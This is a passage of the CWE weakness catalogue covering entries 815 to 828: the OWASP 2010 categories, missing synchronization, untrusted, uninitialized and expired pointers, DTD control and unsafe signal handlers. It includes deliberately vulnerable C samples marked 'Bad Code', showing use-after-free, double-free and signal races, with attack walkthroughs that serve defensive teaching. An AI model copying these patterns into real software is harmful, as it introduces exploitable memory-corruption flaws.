MemberOf		809	Weaknesses in OWASP Top Ten (2010)	809	1244

#### References

OWASP. "Top 10 2010-A5-Cross-Site Request Forgery (CSRF)". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A5-Cross-Site\\_Request\\_Forgery\\_%28CSRF%29](http://www.owasp.org/index.php/Top_10_2010-A5-Cross-Site_Request_Forgery_%28CSRF%29) >.

## CWE-815: OWASP Top Ten 2010 Category A6 - Security Misconfiguration

Category ID: 815 (Category) Status: Incomplete

#### Description

##### Summary

Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2010.

#### Relationships

Nature	Type	ID	Name	V	Page
ParentOf		209	Information Exposure Through an Error Message	809	397
ParentOf		219	Sensitive Data Under Web Root	809	412
ParentOf		250	Execution with Unnecessary Privileges	809	440
ParentOf		538	File and Directory Information Exposure	809	877
ParentOf		552	Files or Directories Accessible to External Parties	809	889
ParentOf		732	Incorrect Permission Assignment for Critical Resource	809	1121
MemberOf		809	Weaknesses in OWASP Top Ten (2010)	809	1244

#### References

OWASP. "Top 10 2010-A6-Security Misconfiguration". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A6-Security\\_Misconfiguration](http://www.owasp.org/index.php/Top_10_2010-A6-Security_Misconfiguration) >.

## CWE-816: OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage

Category ID: 816 (Category) Status: Incomplete



**Description****Summary**

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2010.

**Relationships**

Nature	Type	ID	Name	V	Page
ParentOf	B	311	Missing Encryption of Sensitive Data	809	548
ParentOf	B	312	Cleartext Storage of Sensitive Information	809	553
ParentOf	C	326	Inadequate Encryption Strength	809	571
ParentOf	B	327	Use of a Broken or Risky Cryptographic Algorithm	809	573
ParentOf	B	759	Use of a One-Way Hash without a Salt	809	1153
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	1244

**References**

OWASP. "Top 10 2010-A7-Insecure Cryptographic Storage". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A7-Insecure\\_Cryptographic\\_Storage](http://www.owasp.org/index.php/Top_10_2010-A7-Insecure_Cryptographic_Storage) >.

## CWE-817: OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access

Category ID: 817 (Category) Status: Incomplete

**Description****Summary**

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2010.

**Relationships**

Nature	Type	ID	Name	V	Page
ParentOf	C	285	Improper Authorization	809	501
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	1244
ParentOf	C	862	Missing Authorization	809	1299
ParentOf	C	863	Incorrect Authorization	809	1304

**References**

OWASP. "Top 10 2010-A8-Failure to Restrict URL Access". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A8-Failure\\_to\\_Restrict\\_URL\\_Access](http://www.owasp.org/index.php/Top_10_2010-A8-Failure_to_Restrict_URL_Access) >.

## CWE-818: OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection

Category ID: 818 (Category) Status: Incomplete

**Description****Summary**

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2010.

**Relationships**

Nature	Type	ID	Name	V	Page
ParentOf	B	311	Missing Encryption of Sensitive Data	809	548
ParentOf	B	319	Cleartext Transmission of Sensitive Information	809	562
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	1244

**References**

OWASP. "Top 10 2010-A9-Insufficient Transport Layer Protection". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A9-Insufficient\\_Transport\\_Layer\\_Protection](http://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection) >.

## CWE-819: OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards

Category ID: 819 (Category) Status: Incomplete

## Description

### Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2010.

### Relationships

Nature	Type	ID	Name		Page
ParentOf	⬇	601	URL Redirection to Untrusted Site ('Open Redirect')	809	942
MemberOf	⬆	809	Weaknesses in OWASP Top Ten (2010)	809	1244

### References

OWASP. "Top 10 2010-A10-Unvalidated Redirects and Forwards". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A10-Unvalidated\\_Redirects\\_and\\_Forwards](http://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards) >.

# CWE-820: Missing Synchronization

Weakness ID: 820 (Weakness Base)

Status: Incomplete

## Description

### Summary

The software utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.

### Extended Description

If access to a shared resource is not synchronized, then the resource may not be in a state that is expected by the software. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

### Common Consequences

#### Integrity

#### Confidentiality

#### Other

#### Modify application data

#### Read application data

#### Alter execution logic

### Demonstrative Examples

The following code intends to fork a process, then have both the parent and child processes print a single line.

#### C/C++ Example:

*Bad Code*

```
static void print (char * string) {
    char * word;
    int counter;
    for (word = string; counter = *word++; ) {
        putchar(counter, stdout);
        fflush(stdout);
        /* Make timing window a little larger... */
        sleep(1);
    }
}

int main(void) {
    pid_t pid;
    pid = fork();
    if (pid == -1) {
        exit(-2);
    }
    else if (pid == 0) {
        print("child\n");
    }
    else {
        print("PARENT\n");
    }
    exit(0);
}
```

One might expect the code to print out something like:



PARENT

child

However, because the parent and child are executing concurrently, and stdout is flushed each time a character is printed, the output might be mixed together, such as:

PcAhRiEINdT

[blank line]

[blank line]

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	662	Improper Synchronization	699 1000	1024
ChildOf	C	853	CERT Java Secure Coding Section 08 - Locking (LCK)	844	1295
ParentOf	V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	699 1000	882
ParentOf	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	1000	903

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	LCK05-J	Synchronize access to static fields that can be modified by untrusted code

## CWE-821: Incorrect Synchronization

Weakness ID: 821 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software utilizes a shared resource in a concurrent manner but it does not correctly synchronize access to the resource.

#### Extended Description

If access to a shared resource is not correctly synchronized, then the resource may not be in a state that is expected by the software. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

### Common Consequences

#### Integrity

#### Confidentiality

#### Other

#### Modify application data

#### Read application data

#### Alter execution logic

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	662	Improper Synchronization	699 1000	1024
ParentOf	V	572	Call to Thread run() instead of start()	699 1000	910
ParentOf	V	574	EJB Bad Practices: Use of Synchronization Primitives	699 1000	911

## CWE-822: Untrusted Pointer Dereference

Weakness ID: 822 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The program obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.

## Extended Description

An attacker can supply a pointer for memory locations that the program is not expecting. If the pointer is dereferenced for a write operation, the attack might allow modification of critical program state variables, cause a crash, or execute code. If the dereferencing operation is for a read, then the attack might allow reading of sensitive data, cause a crash, or set a program variable to an unexpected value (since the value will be read from an unexpected memory location).

There are several variants of this weakness, including but not necessarily limited to:

The untrusted value is directly invoked as a function call.

In OS kernels or drivers where there is a boundary between "userland" and privileged memory spaces, an untrusted pointer might enter through an API or system call (see CWE-781 for one such example).

Inadvertently accepting the value from an untrusted control sphere when it did not have to be accepted as input at all. This might occur when the code was originally developed to be run by a single user in a non-networked environment, and the code is then ported to or otherwise exposed to a networked environment.

## Terminology Notes

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

## Common Consequences

### Confidentiality

#### Read memory

If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.

### Availability

#### DoS: crash / exit / restart

If the untrusted pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.

### Integrity

#### Confidentiality

#### Availability

#### Execute unauthorized code or commands









#### Modify memory

If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.

## Observed Examples

Reference	Description
CVE-2007-5655	message-passing framework interprets values in packets as pointers, causing a crash.
CVE-2009-0311	An untrusted value is obtained from a packet and directly called as a function pointer, leading to code execution.
CVE-2009-1250	An error code is incorrectly checked and interpreted as a pointer, leading to a crash.
CVE-2009-1719	Untrusted dereference using undocumented constructor.
CVE-2010-1253	Spreadsheet software treats certain record values that lead to "user-controlled pointer" (might be untrusted offset, not untrusted pointer).
CVE-2010-1818	Undocumented attribute in multimedia software allows "unmarshaling" of an untrusted pointer.
CVE-2010-2299	labeled as a "type confusion" issue, also referred to as a "stale pointer." However, the bug ID says "contents are simply interpreted as a pointer... renderer ordinarily doesn't supply this pointer directly". The "handle" in the untrusted area is replaced in one function, but not another - thus also, effectively, exposure to wrong sphere (CWE-668).
CVE-2010-3189	ActiveX control for security software accepts a parameter that is assumed to be an initialized pointer.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	<b>699</b> <b>1000</b>	226
CanPrecede		125	Out-of-bounds Read	1000	253
ChildOf		465	Pointer Issues	699	782
CanPrecede		787	Out-of-bounds Write	1000	1207
ChildOf		867	2011 Top 25 - Weaknesses On the Cusp	<b>900</b>	1310
ChildOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	<b>868</b>	1314
<i>CanFollow</i>		<i>781</i>	<i>Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code</i>	<i>699</i>	<i>1197</i>
<i>MemberOf</i>		<i>884</i>	<i>CWE Cross-section</i>	<b>884</b>	1319

## Research Gaps

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C++ Secure Coding	MEM10-CPP	Define and use a pointer validation function

## Maintenance Notes

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

## CWE-823: Use of Out-of-range Pointer Offset

Weakness ID: 823 (Weakness Base)

Status: Incomplete

## Description

## Summary

The program performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.

## Extended Description

While a pointer can contain a reference to any arbitrary memory location, a program typically only intends to use the pointer to access limited portions of memory, such as contiguous memory used to access an individual array.

Programs may use offsets in order to access fields or sub-elements stored within structured data. The offset might be out-of-range if it comes from an untrusted source, is the result of an incorrect calculation, or occurs because of another error.

If an attacker can control or influence the offset so that it points outside of the intended boundaries of the structure, then the attacker may be able to read or write to memory locations that are used elsewhere in the program. As a result, the attack might change the state of the software as accessed through program variables, cause a crash or instable behavior, and possibly lead to code execution.

## Alternate Terms

## Untrusted pointer offset

This term is narrower than the concept of "out-of-range" offset, since the offset might be the result of a calculation or other error that does not depend on any externally-supplied values.

## Terminology Notes

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

### Common Consequences

#### Confidentiality

##### Read memory

If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.

##### Availability

##### DoS: crash / exit / restart

If the untrusted pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.

#### Integrity

#### Confidentiality

##### Availability

##### Execute unauthorized code or commands


##### Modify memory

If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.

### Observed Examples

Reference	Description
CVE-2007-2500	large number of elements leads to a free of an arbitrary address
CVE-2007-5657	values used as pointer offsets
CVE-2008-1686	array index issue (CWE-129) with negative offset, used to dereference a function pointer
CVE-2008-1807	invalid numeric field leads to a free of arbitrary memory locations, then code execution.
CVE-2008-4114	untrusted offset in kernel
CVE-2009-0690	negative offset leads to out-of-bounds read
CVE-2009-1097	portions of a GIF image used as offsets, causing corruption of an object pointer.
CVE-2009-2687	Language interpreter does not properly handle invalid offsets in JPEG image, leading to out-of-bounds memory access and crash.
CVE-2009-2694	Instant messaging library does not validate an offset value specified in a packet.
CVE-2009-3129	Spreadsheet program processes a record with an invalid size field, which is later used as an offset.
CVE-2010-1281	Multimedia player uses untrusted value from a file when using file-pointer calculations.
CVE-2010-2160	Invalid offset in undocumented opcode leads to memory corruption.
CVE-2010-2866	negative value (signed) causes pointer miscalculation
CVE-2010-2867	a return value from a function is sign-extended if the value is signed, then used as an offset for pointer arithmetic
CVE-2010-2872	signed values cause incorrect pointer calculation
CVE-2010-2873	"blind trust" of an offset value while writing heap memory allows corruption of function pointer, leading to code execution
CVE-2010-2878	"buffer seek" value - basically an offset?

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	699 1000	226
CanPrecede		125	Out-of-bounds Read	1000	253
ChildOf		465	Pointer Issues	699	782
CanPrecede		787	Out-of-bounds Write	1000	1207
<i>CanFollow</i>		<i>129</i>	<i>Improper Validation of Array Index</i>	<i>1000</i>	<i>258</i>

### Research Gaps

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports

identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Pointer Arithmetic", Page 277.. 1st Edition. Addison Wesley. 2006.

### Maintenance Notes

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

## CWE-824: Access of Uninitialized Pointer

Weakness ID: 824 (*Weakness Base*)

Status: Incomplete

### Description

#### Summary

The program accesses or uses a pointer that has not been initialized.

#### Extended Description

If the pointer contains an uninitialized value, then the value might not point to a valid memory location. This could cause the program to read from or write to unexpected memory locations, leading to a denial of service. If the uninitialized pointer is used as a function call, then arbitrary functions could be invoked. If an attacker can influence the portion of uninitialized memory that is contained in the pointer, this weakness could be leveraged to execute code or perform other attacks.

Depending on memory layout, associated memory management behaviors, and program operation, the attacker might be able to influence the contents of the uninitialized pointer, thus gaining more fine-grained control of the memory location to be accessed.

### Terminology Notes

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

### Common Consequences

#### Confidentiality

##### Read memory

If the uninitialized pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.

#### Availability

##### DoS: crash / exit / restart

If the uninitialized pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.

#### Integrity

#### Confidentiality

#### Availability

#### Execute unauthorized code or commands

If the uninitialized pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.

### Observed Examples

Reference	Description
CVE-2003-1201	LDAP server does not initialize members of structs, which leads to free of uninitialized pointer if an LDAP request fails.
CVE-2006-0054	Firewall can crash with certain ICMP packets that trigger access of an uninitialized pointer.
CVE-2006-4175	LDAP server mishandles malformed BER queries, leading to free of uninitialized memory

Reference	Description
CVE-2006-6143	Uninitialized function pointer in freed memory is invoked
CVE-2007-1213	Crafted font leads to uninitialized function pointer.
CVE-2007-2442	zero-length input leads to free of uninitialized pointer.
CVE-2007-4000	Unchecked return values can lead to a write to an uninitialized pointer.
CVE-2007-4639	Step-based manipulation: invocation of debugging function before the primary initialization function leads to access of an uninitialized pointer and code execution.
CVE-2007-4682	Access of uninitialized pointer might lead to code execution.
CVE-2008-2934	Crafted GIF image leads to free of uninitialized pointer.
CVE-2009-0040	Crafted PNG image leads to free of uninitialized pointer.
CVE-2009-0846	Invalid encoding triggers free of uninitialized pointer.
CVE-2009-1415	Improper handling of invalid signatures leads to free of invalid pointer.
CVE-2009-1721	Free of an uninitialized pointer.
CVE-2009-2768	Pointer in structure is not initialized, leading to NULL pointer dereference (CWE-476) and system crash.
CVE-2010-0211	chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824).

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	<b>699</b> <b>1000</b>	226
CanPrecede		125	Out-of-bounds Read	1000	253
ChildOf		465	Pointer Issues	699	782
CanPrecede		787	Out-of-bounds Write	1000	1207

### Research Gaps

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Variable Initialization", Page 312.. 1st Edition. Addison Wesley. 2006.

### Maintenance Notes

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

## CWE-825: Expired Pointer Dereference

Weakness ID: 825 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The program dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.

#### Extended Description

When a program releases memory, but it maintains a pointer to that memory, then the memory might be re-allocated at a later time. If the original pointer is accessed to read or write data, then this could cause the program to read or modify data that is in use by a different function or process. Depending on how the newly-allocated memory is used, this could lead to a denial of service, information exposure, or code execution.

### Alternate Terms

Dangling pointer



### Terminology Notes

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

### Common Consequences

#### Confidentiality

##### Read memory

If the expired pointer is used in a read operation, an attacker might be able to control data read in by the application.

#### Availability

##### DoS: crash / exit / restart

If the expired pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.

#### Integrity

#### Confidentiality

#### Availability

##### Execute unauthorized code or commands

If the expired pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.

### Demonstrative Examples

#### Example 1:

The following code shows a simple example of a use after free error:

##### C Example:

*Bad Code*

```
char* ptr = (char*)malloc (SIZE);
if (err) {
  abrt = 1;
  free(ptr);
}
...
if (abrt) {
  logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

#### Example 2:

The following code shows a simple example of a double free error:

##### C Example:

*Bad Code*

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
  free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

Error conditions and other exceptional circumstances

Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files.

Programmers seem particularly susceptible to freeing global variables more than once.

### Observed Examples

Reference	Description
CVE-2007-1211	read of value at an offset into a structure after the offset is no longer valid
CVE-2008-5013	access of expired memory address leads to arbitrary code execution



Reference	Description
CVE-2010-3257	stale pointer issue leads to denial of service and possibly other consequences

### Potential Mitigations

#### Architecture and Design

Choose a language that provides automatic memory management.

#### Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	<b>699</b> <b>1000</b>	226
CanPrecede		125	Out-of-bounds Read	1000	253
ChildOf		465	Pointer Issues	699	782
ChildOf		672	Operation on a Resource after Expiration or Release	699 1000	1039
CanPrecede		787	Out-of-bounds Write	1000	1207
ChildOf		867	2011 Top 25 - Weaknesses On the Cusp	<b>900</b>	1310
ParentOf		415	Double Free	<b>1000</b>	716
ParentOf		416	Use After Free	<b>1000</b>	719
CanFollow		562	Return of Stack Variable Address	1000	898
MemberOf		884	CWE Cross-section	<b>884</b>	1319

### Research Gaps

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

### Maintenance Notes

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

## CWE-826: Premature Release of Resource During Expected Lifetime

**Weakness ID:** 826 (*Weakness Base*) **Status:** Incomplete

### Description

#### Summary

The program releases a resource that is still intended to be used by the program itself or another actor.

#### Extended Description

This weakness focuses on errors in which the program should not release a resource, but performs the release anyway. This is different than a weakness in which the program releases a resource at the appropriate time, but it maintains a reference to the resource, which it later accesses. For this weaknesses, the resource should still be valid upon the subsequent access. When a program releases a resource that is still being used, it is possible that operations will still be taken on this resource, which may have been repurposed in the meantime, leading to issues similar to CWE-825. Consequences may include denial of service, information exposure, or code execution.

### Common Consequences

**Confidentiality****Read application data****Read memory**

If the released resource is subsequently reused or reallocated, then a read operation on the original resource might access sensitive data that is associated with a different user or entity.

**Availability****DoS: crash / exit / restart**

When the resource is released, the software might modify some of its structure, or close associated channels (such as a file descriptor). When the software later accesses the resource as if it is valid, the resource might not be in an expected state, leading to resultant errors that may lead to a crash.

**Integrity****Confidentiality****Availability****Execute unauthorized code or commands****Modify application data****Modify memory**

When the resource is released, the software might modify some of its structure. This might affect program logic in the sections of code that still assume the resource is active.

If the released resource is related to memory and is used in a function call, or points to unexpected data in a write operation, then code execution may be possible upon subsequent accesses.

**Observed Examples**

Reference	Description
CVE-2009-3547	chain: race condition might allow resource to be released before operating on it, leading to NULL dereference

**Relationships**

Nature	Type	ID	Name	W	Page
ChildOf	B	666	Operation on Resource in Wrong Phase of Lifetime	699	1031
CanPrecede	B	672	Operation on a Resource after Expiration or Release	1000	1039

**Research Gaps**

Under-studied and under-reported as of September 2010. This weakness has been reported in high-visibility software, although the focus has been primarily on memory allocation and de-allocation. There are very few examples of this weakness that are not directly related to memory management, although such weaknesses are likely to occur in real-world software for other types of resources.

## CWE-827: Improper Control of Document Type Definition

**Weakness ID:** 827 (*Weakness Base*)**Status:** Incomplete**Description****Summary**

The software does not restrict a reference to a Document Type Definition (DTD) to the intended control sphere. This might allow attackers to reference arbitrary DTDs, possibly causing the software to expose files, consume excessive system resources, or execute arbitrary http requests on behalf of the attacker.

**Extended Description**

As DTDs are processed, they might try to read or include files on the machine performing the parsing. If an attacker is able to control the DTD, then the attacker might be able to specify sensitive resources or requests or provide malicious content.

For example, the SOAP specification prohibits SOAP messages from containing DTDs.

**Applicable Platforms****Languages**

- XML

### Architectural Paradigms

- Web-based

### Common Consequences

#### Confidentiality

##### Read files or directories

If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.

#### Availability

##### DoS: resource consumption (CPU)

##### DoS: resource consumption (memory)

The DTD may cause the parser to consume excessive CPU cycles or memory using techniques such as nested or recursive entity references (CWE-776).

#### Integrity

#### Confidentiality

#### Availability

#### Access Control

##### Execute unauthorized code or commands

##### Gain privileges / assume identity

The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.

### Observed Examples

Reference	Description
CVE-2010-2076	Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		442	Web Problems	699	755
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1000	1106
CanPrecede		776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1000	1190
ChildOf		829	Inclusion of Functionality from Untrusted Control Sphere	1000	1262

### References

Daniel Kulp. "Apache CXF Security Advisory (CVE-2010-2076)". 2010-06-16. < <http://svn.apache.org/repos/asf/cxf/trunk/security/CVE-2010-2076.pdf> >.

## CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe

Weakness ID: 828 (*Weakness Base*)

Status: Incomplete

### Description

#### Summary

The software defines a signal handler that contains code sequences that are not asynchronous-safe, i.e., the functionality is not reentrant, or it can be interrupted.

#### Extended Description

This can lead to an unexpected system state with a variety of potential consequences depending on context, including denial of service and code execution.

Signal handlers are typically intended to interrupt normal functionality of a program, or even other signals, in order to notify the process of an event. When a signal handler uses global or static variables, or invokes functions that ultimately depend on such state or its associated metadata, then it could corrupt system state that is being used by normal functionality. This could subject the program to race conditions or other weaknesses that allow an attacker to cause the program

state to be corrupted. While denial of service is frequently the consequence, in some cases this weakness could be leveraged for code execution.

There are several different scenarios that introduce this issue:

Invocation of non-reentrant functions from within the handler. One example is `malloc()`, which modifies internal global variables as it manages memory. Very few functions are actually reentrant.

Code sequences (not necessarily function calls) contain non-atomic use of global variables, or associated metadata or structures, that can be accessed by other functionality of the program, including other signal handlers. Frequently, the same function is registered to handle multiple signals.

The signal handler function is intended to run at most one time, but instead it can be invoked multiple times. This could happen by repeated delivery of the same signal, or by delivery of different signals that have the same handler function (CWE-831).

Note that in some environments or contexts, it might be possible for the signal handler to be interrupted itself.

If both a signal handler and the normal behavior of the software have to operate on the same set of state variables, and a signal is received in the middle of the normal execution's modifications of those variables, the variables may be in an incorrect or corrupt state during signal handler execution, and possibly still incorrect or corrupt upon return.

### Common Consequences

**Integrity**

**Confidentiality**

**Availability**

**DoS: crash / exit / restart**

**Execute unauthorized code or commands**

The most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.

### Demonstrative Examples

#### Example 1:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

*Bad Code*

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (`globalVar` and `logMessage`), and it can be called by both the `SIGHUP` and `SIGTERM` signals. An attack scenario might follow these lines:

The program begins execution, initializes `logMessage`, and registers the signal handlers for `SIGHUP` and `SIGTERM`.

The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.

The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").

SIGHUP-handler begins to execute, calling syslog().

syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.

The attacker then sends SIGTERM.

SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.

The SIGTERM handler is invoked.

SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [R.828.1]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

### Example 2:

The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

#### C Example:

*Bad Code*

```
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *global1, *global2;
char *what;
void sh (int dummy) {
    syslog(LOG_NOTICE, "%s\n", what);
    free(global2);
    free(global1);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    what=argv[1];
    global1=strdup(argv[2]);
    global2=malloc(340);
    signal(SIGHUP, sh);
    signal(SIGTERM, sh);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
```

However, the following sequence of events may result in a double-free (CWE-415):

a SIGHUP is delivered to the process

sh() is invoked to process the SIGHUP

This first invocation of sh() reaches the point where global1 is freed

At this point, a SIGTERM is sent to the process

the second invocation of sh() might do another free of global1

this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" (see references).

### Observed Examples

Reference	Description
CVE-2001-1349	unsafe calls to library functions from signal handler
CVE-2002-1563	SIGCHLD not blocked in a daemon loop while counter is modified, causing counter to get out of sync.
CVE-2004-0794	SIGURG can be used to remotely interrupt signal handler; other variants exist.
CVE-2004-2259	handler for SIGCHLD uses non-reentrant functions
CVE-2006-5051	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition that leads to a double free (CWE-415).
CVE-2008-4109	Signal handler uses functions that ultimately call the unsafe syslog/malloc/s*printf, leading to denial of service via multiple login attempts

### Potential Mitigations

#### Implementation

#### Architecture and Design

#### High




Eliminate the usage of non-reentrant functionality inside of signal handlers. This includes replacing all non-reentrant library calls with reentrant calls.

Note: This will not always be possible and may require large portions of the software to be rewritten or even redesigned. Sometimes reentrant-safe library alternatives will not be available. Sometimes non-reentrant interaction between the state of the system and the signal handler will be required by design.

#### Implementation

